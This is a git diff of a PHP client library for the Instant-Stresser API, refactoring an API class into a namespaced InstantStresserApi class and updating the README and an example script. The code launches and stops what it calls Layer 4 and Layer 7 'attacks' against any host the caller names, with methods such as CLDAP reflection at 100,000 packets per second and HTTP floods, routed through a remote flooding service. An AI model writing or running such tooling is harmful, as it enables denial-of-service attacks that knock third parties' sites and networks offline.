diff --git a/API.php b/API.php
deleted file mode 100644
index 03b2741..0000000
--- a/API.php
+++ /dev/null
@@ -1,130 +0,0 @@
-<?php
-/*
- *  Instant-Stresser.com PHP API cURL Example.
- *  
- *  @author  MachiavelSST
- *  @link    https://instant-stresser.com/
- *
-*/
-
-class API {
-	
-	/**
- 	* @param int $userID
-	* @param string $key
- 	*/
-	
-	private $userID;
-	private $key;   
-	private $curl_handle = null;
-	
-	public function __construct($userID, $key){
-		$this->userID = $userID;
-		$this->apiKey = $key;
-		try {
-			if(empty($this->userID) || empty($this->apiKey)){
-				throw new Exception('UserID and API Key must be defined.');
-			}
-		} catch (Exception $e) {
-			exit($e->getMessage());
-		}
-	}
-	
-	public function __destruct() {
-		if (!is_null($this->curl_handle)){
-			curl_close($this->curl_handle);
-		}
-	}
-	
-	/**
- 	* @param string $host
-	* @param int $port
-	* @param int $time
-	* @param string $method
-	* @param int $slots
-	* @param int $pps
-	* @return string
- 	*/
-	
-	public function startL4($host, $port, $time, $method, $slots = 1, $pps = 100000){
-		$postdata = [
-			'host' => $host,
-			'port' => $port,
-			'time' => $time,
-			'method' => $method,
-			'slots' => $slots,
-			'pps' => $pps
-		];
-		return $this->send($postdata);
-	}
-	
-	/**
- 	* @param string $host
-	* @param int $time
-	* @param string $method
-	* @param int $slots
-	* @param string $type
-	* @param bool $ratelimit
-	* @return string
- 	*/
-	
-	public function startL7($host, $time, $method, $slots = 1, $type = "GET", $ratelimit = false){
-		$postdata = [
-			'host' => $host,
-			'time' => $time,
-			'method' => $method,
-			'slots' => $slots,
-			'type' => $type,
-			'ratelimit' => $ratelimit
-		];
-		return $this->send($postdata);
-	}
-	
-	/**
- 	* @param string $host
-	* @return string
- 	*/
-	
-	public function stopAttack($host){
-		$postdata = [
-			'host' => $host
-		];
-		return $this->send($postdata, "stop");
-	}
-	
-	/**
- 	* @param array $parameters
-	* @param string $action
-	* @return string
- 	*/
-	
-	private function send(array $parameters = [], $action = "start"){
-		$api_url = "https://api.instant-stresser.com/" . $action;
-		$parameters['user'] = $this->userID;
-		$parameters['api_key'] = $this->apiKey;
-		$parameters = http_build_query($parameters, '', '&');
-		if(is_null($this->curl_handle)){
-			$this->curl_handle = curl_init($api_url);
-			curl_setopt($this->curl_handle, CURLOPT_RETURNTRANSFER, TRUE);
-			curl_setopt($this->curl_handle, CURLOPT_SSL_VERIFYPEER, FALSE);
-			curl_setopt($this->curl_handle, CURLOPT_ENCODING, "");
-			curl_setopt($this->curl_handle, CURLOPT_MAXREDIRS, 10);
-			curl_setopt($this->curl_handle, CURLOPT_HTTP_VERSION, CURL_HTTP_VERSION_1_1);
-			curl_setopt($this->curl_handle, CURLOPT_POST, 1);
-			curl_setopt($this->curl_handle, CURLOPT_POSTFIELDS, $parameters);
-			curl_setopt($this->curl_handle, CURLOPT_HTTPHEADER , array("cache-control: no-cache", "content-type: application/x-www-form-urlencoded"));
-		}
-		switch($response = curl_exec($this->curl_handle)){
-			case false:
-				return curl_error($this->curl_handle);
-			break;
-			default:
-				$response = json_decode($response, true);
-				return $response["message"];
-			break;
-		}
-	}
-}
-
-
-?>
diff --git a/InstantStresserApi.php b/InstantStresserApi.php
new file mode 100644
index 0000000..c1e3823
--- /dev/null
+++ b/InstantStresserApi.php
@@ -0,0 +1,132 @@
+<?php
+/*
+ *  Instant-Stresser.com PHP API cURL Example.
+ *  
+ *  @author  MachiavelSST
+ *  @link    https://instant-stresser.com
+ *  @contributors 13dev
+ *
+*/
+namespace InstantStresser;
+
+class InstantStresserApi
+{
+	private $userId;
+	private $apiKey;
+	private $curlHandler;
+	const API_URL = "https://api.instant-stresser.com/";
+
+	/**
+	 * InstantStresserApi constructor.
+	 * @param $userId
+	 * @param $key
+	 */
+	public function __construct($userId, $key)
+	{
+		$this->userId = $userId;
+		$this->apiKey = $key;
+
+		if(empty($this->userId) || empty($this->apiKey))
+		{
+			throw new Exception('UserId and API Key must be defined.');
+		}
+	}
+	
+	public function __destruct()
+	{
+		if (!is_null($this->curlHandler))
+		{
+			curl_close($this->curlHandler);
+		}
+	}
+
+	/**
+	 * @param $host
+	 * @param $port
+	 * @param $time
+	 * @param $method
+	 * @param int $slots
+	 * @param int $pps
+	 * @return string
+	 */
+	public function startL4($host, $port, $time, $method, $slots = 1, $pps = 100000)
+	{
+		return $this->send([
+			'host' => $host,
+			'port' => $port,
+			'time' => $time,
+			'method' => $method,
+			'slots' => $slots,
+			'pps' => $pps
+		]);
+	}
+
+	/**
+	 * @param $host
+	 * @param $time
+	 * @param $method
+	 * @param int $slots
+	 * @param string $type
+	 * @param bool $ratelimit
+	 * @return string
+	 */
+	public function startL7($host, $time, $method, $slots = 1, $type = "GET", $rateLimit = false)
+	{
+		return $this->send([
+			'host' => $host,
+			'time' => $time,
+			'method' => $method,
+			'slots' => $slots,
+			'type' => $type,
+			'ratelimit' => $rateLimit
+		]);
+	}
+
+	public function stop($host)
+	{
+		return $this->send([
+			'host' => $host
+		], "stop");
+	}
+	
+	/**
+ 	* @param array $parameters
+	* @param string $action
+	* @return string
+ 	*/
+	
+	private function send(array $parameters = [], $action = 'start')
+	{
+		$parameters['user'] = $this->userId;
+		$parameters['api_key'] = $this->apiKey;
+		$parameters = http_build_query($parameters, '', '&');
+
+		if(is_null($this->curlHandler))
+		{
+			$this->curlHandler = curl_init(self::API_URL . $action);
+			curl_setopt($this->curlHandler, CURLOPT_RETURNTRANSFER, TRUE);
+			// CURLOPT_SSL_VERIFYPEER only available on PHP >= 7.1
+			//curl_setopt($this->curlHandler, CURLOPT_SSL_VERIFYPEER, FALSE);
+			curl_setopt($this->curlHandler, CURLOPT_ENCODING, '');
+			curl_setopt($this->curlHandler, CURLOPT_MAXREDIRS, 10);
+			curl_setopt($this->curlHandler, CURLOPT_HTTP_VERSION, CURL_HTTP_VERSION_1_1);
+			curl_setopt($this->curlHandler, CURLOPT_POST, 1);
+			curl_setopt($this->curlHandler, CURLOPT_POSTFIELDS, $parameters);
+			curl_setopt($this->curlHandler, CURLOPT_HTTPHEADER , ['cache-control: no-cache', 'content-type: application/x-www-form-urlencoded']);
+		}
+
+		switch($response = curl_exec($this->curlHandler))
+		{
+			case false:
+				return curl_error($this->curlHandler);
+			break;
+			default:
+				$response = json_decode($response, true);
+				return $response['message'];
+			break;
+		}
+	}
+}
+
+
+?>
diff --git a/README.md b/README.md
index b3a7cd7..51a0055 100644
--- a/README.md
+++ b/README.md
@@ -10,9 +10,9 @@ Available here : https://instant-stresser.com/help/methodsdoc
 
 ## Authentication
 ```php
-require 'API.php';
+require 'InstantStresserApi.php';
 // UserID and API Key generated from API Manager website.
-$api = new API("UserID", "your-apikey");
+$api = new InstantStresser\InstantStresserApi("UserID", "your-apikey");
 ```
 
 ## Layer 4 Attack
@@ -28,10 +28,6 @@ $response = $api->startL7("https://example.com/", 15, "HTTP1", 1, "GET", false);
 ## Stop Attack
 ```php
 /* Parameters : Host. */
-$response = $api->stopAttack("1.1.1.1");
-```
-
-## API Response
-```php
+$response = $api->stop("1.1.1.1");
 echo $response; // Get API response.
 ```
diff --git a/example.php b/example.php
new file mode 100644
index 0000000..ed6e6a5
--- /dev/null
+++ b/example.php
@@ -0,0 +1,9 @@
+<?php
+
+use InstantStresser\InstantStresserApi;
+
+$api = new InstantStresserApi('USER_ID', 'MY_KEY');
+
+$api->startL4('1.1.1.1', 80, 15, 'CLDAP', 1, 100000);
+$api->startL7('https://example.com/', 15, 'HTTP1', 1, 'GET', false);
+$api->stop('1.1.1.1');